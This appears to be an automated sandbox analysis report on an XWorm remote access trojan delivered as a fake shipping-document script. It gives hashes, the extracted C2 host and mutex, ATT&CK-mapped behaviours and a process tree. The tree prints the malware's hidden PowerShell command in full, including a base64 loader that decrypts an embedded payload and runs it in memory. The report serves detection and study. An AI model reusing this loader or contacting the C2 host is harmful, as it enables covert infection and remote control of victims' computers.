xworm | 22b36e1c397813f53c8a4d5e46a1a7547a3be485ba451130c931c3ac2e0b1e5d

General

Target

Shipping_Documents.pdf_.vbs
Size

72KB
MD5

d8e3bf5f66fd94bc6eac4c31a80752c7
SHA1

19b8f112fe35de01170434a90c9080155dfa0736
SHA256

db330e50d5573d582f7874ae62c48052bbf899c89ee27b3a0639a526b0e3232f
SHA512

647ae0f8e7eef2aceec6dc27d8ef0fb64c63712ad02f4fa0b81329b844276ecc0bd2d429960f8c1b4928c806cf1c82b59dd8826a4a558ed2726da645640985d1
SSDEEP

1536:rNx0vFMLSEGgcX4XTA66MrhifWezrLm3kaHV/wSCDCfcP8p:rNx0yfj8fWey3Hcuyo

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

expressblessingnow001.duckdns.org:3911

Mutex

RGibYsdTDFPkg2QK

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4936-23-0x0000021E35B20000-0x0000021E35B30000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
32	4936	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4936	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0edc2bdf.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0edc2bdf.cmd	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1536	WScript.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4936	powershell.exe
4936	powershell.exe
4936	powershell.exe
4936	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4936	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4936	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1536 wrote to memory of 532	1536	WScript.exe	86
PID 1536 wrote to memory of 532	1536	WScript.exe	86
PID 532 wrote to memory of 4440	532	cmd.exe	88
PID 532 wrote to memory of 4440	532	cmd.exe	88
PID 4440 wrote to memory of 4936	4440	cmd.exe	90
PID 4440 wrote to memory of 4936	4440	cmd.exe	90

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Shipping_Documents.pdf_.vbs"
1⤵
- Checks computer location settings
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:1536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Q4eY1cFvc.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Q4eY1cFvc.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4440
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskYmFpaXUgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGJhaWl1KSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRiYWlpdSIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRiYWlpdSwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkYmFpaXUiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gdGRvbG8oJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3ZLbXZYOFhUU3JqR0U4KzlwSjJsdE1uL1RsTndtM2g4clp5R29PQ0pSSjQ9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ01nOG9aZW9WZUdTNHZHOEJYczNhZkE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gdG9zb2QoJHBhcmFtX3Zhcil7CSRubWprdT1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkcmpyamo9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkbWRrZGU9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkbm1qa3UsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJG1ka2RlLkNvcHlUbygkcmpyamopOwkkbWRrZGUuRGlzcG9zZSgpOwkkbm1qa3UuRGlzcG9zZSgpOwkkcmpyamouRGlzcG9zZSgpOwkkcmpyamouVG9BcnJheSgpO31mdW5jdGlvbiB6cnhxbigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHB2c3piPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGdwZmxxPSRwdnN6Yi5FbnRyeVBvaW50OwkkZ3BmbHEuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGJhaWl1OyRxd3Zkej1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGJhaWl1KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkd2xhIGluICRxd3ZkeikgewlpZiAoJHdsYS5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGdka3hiPSR3bGEuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JHdmbGxxPVtzdHJpbmdbXV0kZ2RreGIuU3BsaXQoJ1wnKTskY2tkd3o9dG9zb2QgKHRkb2xvIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHdmbGxxWzBdKSkpOyRnaGdkbD10b3NvZCAodGRvbG8gKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkd2ZsbHFbMV0pKSk7enJ4cW4gJGNrZHd6ICRudWxsO3pyeHFuICRnaGdkbCAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Q4eY1cFvc.bat

Filesize
64KB

MD5
2b430a4cac799317acbb29182a706fd6

SHA1
5740c0a3c5b8d522c914dac8b99f53a01ebe1563

SHA256
89bc2ca883836dcf443e80e2ecc1b20630022fba33ea10b2b8e9d4e9a063d853

SHA512
80b224887895ccfd68281473a4c9a25e783a19625e759974a607a8df52f8954422666461d89f528d7af1aaf71d938c13aa9ad2e4f3a98b9c26a9b20752f88d52

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oc3d4lyf.pwv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4936-6-0x00007FF867E03000-0x00007FF867E05000-memory.dmp

Filesize
8KB

Download
memory/4936-12-0x0000021E35AC0000-0x0000021E35AE2000-memory.dmp

Filesize
136KB

Download
memory/4936-17-0x00007FF867E00000-0x00007FF8688C1000-memory.dmp

Filesize
10.8MB

Download
memory/4936-18-0x00007FF867E00000-0x00007FF8688C1000-memory.dmp

Filesize
10.8MB

Download
memory/4936-20-0x0000021E35AB0000-0x0000021E35AB8000-memory.dmp

Filesize
32KB

Download
memory/4936-21-0x0000021E35B10000-0x0000021E35B1E000-memory.dmp

Filesize
56KB

Download
memory/4936-23-0x0000021E35B20000-0x0000021E35B30000-memory.dmp

Filesize
64KB

Download
memory/4936-24-0x00007FF867E03000-0x00007FF867E05000-memory.dmp

Filesize
8KB

Download
memory/4936-25-0x00007FF867E00000-0x00007FF8688C1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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